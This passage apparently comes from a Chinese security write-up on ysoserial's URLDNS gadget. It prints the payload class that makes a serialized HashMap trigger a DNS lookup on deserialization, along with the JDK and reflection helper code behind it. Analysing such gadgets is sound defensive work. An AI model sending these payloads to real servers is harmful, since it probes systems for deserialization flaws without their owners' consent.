elseif (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within //......................................................................
// Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); }
/** * A blog post with more details about this gadget chain is at the url below: * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ * * This was inspired by Philippe Arteau @h3xstream, who wrote a blog * posting describing how he modified the Java Commons Collections gadget * in ysoserial to open a URL. This takes the same idea, but eliminates * the dependency on Commons Collections and does a DNS lookup with just * standard JDK classes. * * The Java URL class has an interesting property on its equals and * hashCode methods. The URL class will, as a side effect, do a DNS lookup * during a comparison (either equals or hashCode). * * As part of deserialization, HashMap calls hashCode on each key that it * deserializes, so using a Java URL object as a serialized key allows * it to trigger a DNS lookup. * * Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode() * * */ @SuppressWarnings({ "rawtypes", "unchecked" }) @PayloadTest(skip = "true") @Dependencies() @Authors({ Authors.GEBL }) publicclassURLDNSimplementsObjectPayload<Object> {
public Object getObject(final String url)throws Exception {
//Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
/** * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.</p> * * <b>Potential false negative:</b> * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the * second resolution.</p> */ staticclassSilentURLStreamHandlerextendsURLStreamHandler{
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. // This resets that so the next time hashCode is called a DNS lookup will be triggered.
我们追踪Reflections类,这是yso作者自己写的类。主要调用了以下这两段代码。
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publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); setAccessible(field); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; }
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstaticvoidsetAccessible(AccessibleObject member){ String versionStr = System.getProperty("java.version"); int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]); if (javaVersion < 12) { // quiet runtime warnings from JDK9+ Permit.setAccessible(member); } else { // not possible to quiet runtime warnings anymore... // see https://bugs.openjdk.java.net/browse/JDK-8210522 // to understand impact on Permit (i.e. it does not work // anymore with Java >= 12) member.setAccessible(true); } }